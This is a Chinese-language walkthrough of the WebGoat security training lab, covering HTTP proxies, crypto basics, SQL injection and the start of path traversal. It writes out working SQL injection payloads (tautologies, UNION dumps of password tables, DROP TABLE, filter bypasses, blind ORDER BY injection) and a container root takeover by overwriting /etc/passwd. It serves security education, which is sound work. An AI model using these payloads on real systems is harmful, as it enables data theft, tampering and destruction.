环境搭建
这里使用docker搭建环境:
docker run -d -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat:webgoat
注意保证8080和9090端口空闲,不可以自定义端口,否则webwolf将无法使用。
或者使用java17运行Github最新版的jar包,我使用的是8.2.2版本。
注意:docker运行的和jar包版本有一些出入。
工具
官方推荐的是OWASP ZAP来做报文拦截和分析。可以设置断点,帮助分析,也可以模拟重复请求。
General
HTTP Basics
2
本题意在让用户体验Http请求的发送,只要能够发送请求就通过了。
随便输入一个,点击GO,成功发送请求即通过。
3
本题意在让用户运用浏览器的开发者工具或者ZAP等抓包工具对请求进行抓取查看。只要能够查看到请求的参数,就能获得本题的答案。
问发送表单请求时用的HTTP方法,填POST。
问magic number,先随便填一个,用调试工具查看请求,就能看到magic_num了
HTTP Proxies
6
意图:通过软件代理,劫持数据包,修改通信内容。
答案:可以用推荐的ZAP工具,也可以用Burp之类的其他工具,在软件提供的浏览器中来到WegGoat发送请求,通过断点拦截post请求,然后对内容进行修改。修改有四处:
- 更改Http方法为GET
- 删去请求体
- 将原来请求体中的内容作为参数加入第一行的路径,记得把空格变成加号(+)
- 添加一个请求头。
之后发送,就可以通过了
Developer Tools
4
意图是学会简单使用浏览器的开发者工具。F12打开,进入Console,输入提示中的代码回车执行,就可以看到输出了,将phoneHome Response is 后面的数字拷贝出来作为答案提交通过。
6
意图:学会使用开发者工具Network模块
答案:查看network请求的Payload,就找到答案了
CIA Traid
意图:了解安全属性的三个方面:机密(数据不开放给未授权用户)、完整(整个过程中数据保持准确可信完整)、可用(数据可被授权用户访问)
答案:3142
Crypto Basics
2
意图:了解base64编解码
答案:将给出的base64编码放在在线解码网站中解码,就可以看到以冒号分隔的用户名和密码
3
意图:了解xor编码
答案:WebSphere {xor} password decoder and encoder (strelitzia.net) 在这里解密,xor带有加密,但是默认密码如果不改的话还是会被很轻松找出。答案是databasepassword
4
意图:了解hash算法,并了解这种加密的缺点(彩虹表攻击)
答案:查彩虹表https://www.cmd5.com/。第一个是password,第二个是admin
6
意图:了解签名,用openssl动手操作给文本签名
答案:这题比较麻烦。
- 首先把私钥复制下来,到test.pem
openssl rsa -modulus -in test.pem -out test.modulus -noout
,将模数输出到文件。务必要进入文件删除前面的Modulus=和最后的换行openssl dgst -sign test.pem -sha256 -out modulus.signature test.modulus
用私钥给模数签名。openssl enc -base64 -in modulus.signature -out signature.base64
转为base64,变成可见字符。- 将前面的模数和最后的base64编码复制过去,通过
8
这个题还是有一定难度的。这里我总结了两个做法,第一种是参照晚上的题解(WebGoat 8.1 靶场 刷题通关教程全攻略 - General - CodeAntenna),第二种是我在通过第一种方法通关后找到的更方便的解法。
首先先将镜像运行起来,然后通过docker exec -it <containerid> bash
的方法进入容器进行初步调查。探索了/home和尝试搜索secret关键字后无果,于是目标盯上了没有权限读取的/root目录。执行whoami
命令,发现自己只是一个webgoat用户,不是root用户,也不知道root的密码。怎么办呢?
方法一
因为是容器,其实是可以在物理机任意修改容器内的文件的,第一种方法就是将/etc/passwd复制出来,改成一个自己的密码之后再复制回去覆盖掉原文件。
docker cp <containerid>:/etc/passwd ~/passwd
复制出来
mkpasswd -m sha-512 123456
创建一个密码,然后把这个密码放到passwd中root对应后面的x处。
docker cp ~/passwd <containerid>:/etc/passwd
将文件复制回去
重新进入容器,su root
,然后输入自己设置的密码123456,就可以切换到root用户了。进入root中,发现果然有一个叫做default_secret的文件,然后按照webgoat的题目提示进行解密就可以了。这里作者也是想暗示,默认的secret不可靠吧,一定要记得改掉。
方法二
目标怀疑是/root下的东西时,可以直接用docker cp <containerid>:/root ~
把整个目录和内部的内容全部复制出来,之后想怎么看就怎么看,不用在乎容器内的权限问题了。
本章最后一节还提到了,要准备开始应对未来的量子计算机,使用新的加密方法了。诚然,如果以后量子计算机得到应用,现在这些很多加密算法所依赖的破解时间就不复存在,无法继续保护数据。
Injection
SQL Injection (intro)
2
意图:熟悉SQL
答案:select department from Employees where first_name=’Bob’(只要能查出来Bob Franco的部门数据即可。
3
意图:熟悉DML类SQL(数据管理)
答案:update employees set department=’Sales’ where first_name=’Tobi’
4
意图:熟悉DDL类SQL(数据定义类)
答案:ALTER TABLE employees ADD phone VARCHAR(20);
5
意图:熟悉DCL类SQL(数据控制)
答案:GRANT SELECT, INSERT, UPDATE, DELETE ON grant_rights TO unauthorized_user;
9
意图:体验SQL注入
答案:SELECT * FROM user_data WHERE first_name = ‘John’ AND last_name = ‘’ or ‘1’ = ‘1’
10
意图:数字型SQL注入。
答案:SELECT * From user_data WHERE Login_Count = 0 and userid= 0 OR 1 = 1
后面的UserID是可以输入字符串的,而前面的Login_Count输入的内容要被转化为数字,因此只能在userid处注入。因为注入的直接是数字,所以叫做数字型SQL注入。
11
意图:使用SQL注入破坏系统安全的机密性
答案:SELECT * FROM employees WHERE last_name = ‘ haha or '1' = '1--
‘ AND auth_tan = ‘
‘;
--表示后面的内容为注释。
12
意图:使用SQL注入破坏系统安全的完整性
答案:SELECT * FROM employees WHERE last_name = ‘Smith
‘ AND auth_tan = ‘3SL99A'; update employees set salary = 114514 where last_name = 'Smith
‘;
13
意图:使用SQL注入破坏系统可用性
答案:Smith’;drop table access_log;–
先输入Smith查找自己的记录,这次不像前几次,没有给出SQL语句,要靠自己猜测。
SQL Injection(advanced)
3
意图:使用UNION和多语句连接等技巧查询其他表。
答案:haha' UNION select userid, user_name, ' ', ' ', password, cookie, 0 from user_system_data--
或者 haha'; select * from user_system_data --
。密码答案passW0rD
根据题目提示,可以使用UNION关键字或者连接另一个查询语句来获得其他表中的内容。使用UNION的时候注意需要保持检索的列数和类型一致,无关内容可以自己在select中用一些常量进行替代。
5
意图:练习SQL盲注
答案:用户名tom 密码thisisasecretfortomonly
这道题可以说是非常麻烦困难。注入的入口只有一个,就是在Registry的用户名输入框,后台在检查用户名是否存在的时候使用的SQL查询语句有注入漏洞,其他都是安全的。还有一点想吐槽的就是,明明题目中给的是Tom,答案为什么是小写的tom。。但是仍然可以从这个题中学习到一些知识。
发现漏洞的过程在于,使用haha' or 1=2--
之类的用户名注册账号时,每次都会返回创建成功。这里一开始感觉很奇怪,后来还是理解了。后台判断的逻辑就是这个查询语句是否有输出,如果没有输出就判断用户不存在,于是重新插入一个。
虽然有漏洞但是利用会比较难。如果想要修改tom用户的密码,需要知道所在的数据库表名,这个还是很难猜测的。于是先从当前表的字段猜起,获得tom用户的密码,就可以进行登录。猜测该表中应该还有一个字段password,用来存储用户的密码。输入一个语句试验一下,例如haha' and password='123
,发现没有报错(如果使用了不存在的字段名查询会报错),说明确实有这样一个password字段。接下来就是猜测tom的密码了。本题的困难之处在于,可以利用的漏洞是一个只会回答yes或者no的盲注漏洞,不能获得任何信息。但是这样依然比直接猜密码强,因为可以借助substring函数对密码的每一位进行分别猜测,效率要比直接暴力破解高很多。这个破解过程可以借助其他工具,因为比较麻烦,我也没有尝试。
我采用了另一种投机取巧的方法:直接通过本章第3题的入口,通过select * from INFORMATION_SCHEMA.TABLES
查找所有表名,其中有个CHALLENGE_USERS
的表应该就是本题中使用的表。直接select获得密码即可。算是通过第三题解决了第五题。
6
答案:43234
SQL Injection(mitigation)
本部分参考:WebGoat SQL injection mitigation lessons 5 6 9 10 | by PVXs | Medium
5
意图:使用preparedStatement编写安全、没有SQL注入漏洞的代码。
答案:getConnection
PreparedStatement statement
prepareStatement
?
?
statement.setString(1, name)
statement.setString(2, mail)
6
意图:使用安全的Java代码连接JDBC并从数据库中查询数据。
答案:
try {
Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
PreparedStatement statement = conn.prepareStatement("SELECT status FROM users WHERE name=? AND mail=?");
statement.setString(1, "name");
statement.setString(2, "mail");
statement.executeUpdate();
} catch (Exception e) {
System.out.println("Oops. Somethint went wrong!");
}
9
意图:绕过一些过滤输入的语句,进行SQL注入
答案:aha';/**/select/**/*/**/from/**/user_system_data--
重复上次的答案发现现在加了过滤条件,不能输入空格。但是在SQL里面即使不用任何空格,多行注释/**/
也可以达到分隔关键词的效果。于是将所有空格替换为多行注释,问题解决。
10
意图:绕过更多输入过滤语句,进行SQL注入
答案:aha';/**/selselectect/**/*/**/frfromom/**/user_system_data--
这次对sql关键词进行了查找删除,但是可以采用frfromom这种形式
12
意图:对preparedStatement的OrderBy进行盲注。
答案:104.130.219.202
根据上一节的提示,Order By语句后面可以使用case when(…) then x else y的形式注入含有条件判断的sql语句,这里就算是做了一层preparedStatement防范也还是会被利用。
整个界面没有什么输入的地方,但是注意到点击表头的字段进行排序显示的时候会向后端发送请求,查看这个请求的内容,发现其中直接在请求参数里面直接包含了排序的依据字段。通过Burp等工具,启动proxy对请求进行拦截修改:
这里就实现了SQL盲注,可以用when里面的条件,配合上substring函数,就可以对数据库的内容进行猜测。题目中已经给出了ip地址后面的内容,我们只需要猜测得到前三位就可以了。一个猜测的测试如下:(case+when+(select+substring(ip,3,1)+from+servers+where+hostname='webgoat-prd')+=+'4'+then+status+else+ip+end
。如果猜对,返回的结果就是按照status排序的,不然就是按照ip排序的。
substring函数的三个参数的意思分别是字段名、子串开始位置和截取长度,每次猜对一位再猜下一位。最后前三位猜完是104。
Path traversal
2
意图:利用Path traversal漏洞改写文件
答案:在Full Name处写一个含有../的路径,例如../ooo
就可以在规定路径外写文件。
正常选择头像后提交,下面提示图片被成功上传到系统的规定路径下了,发现最后的路径文件名和用户名相同。在用户名出写一个含有../的路径跳脱到规定路径外就通过了。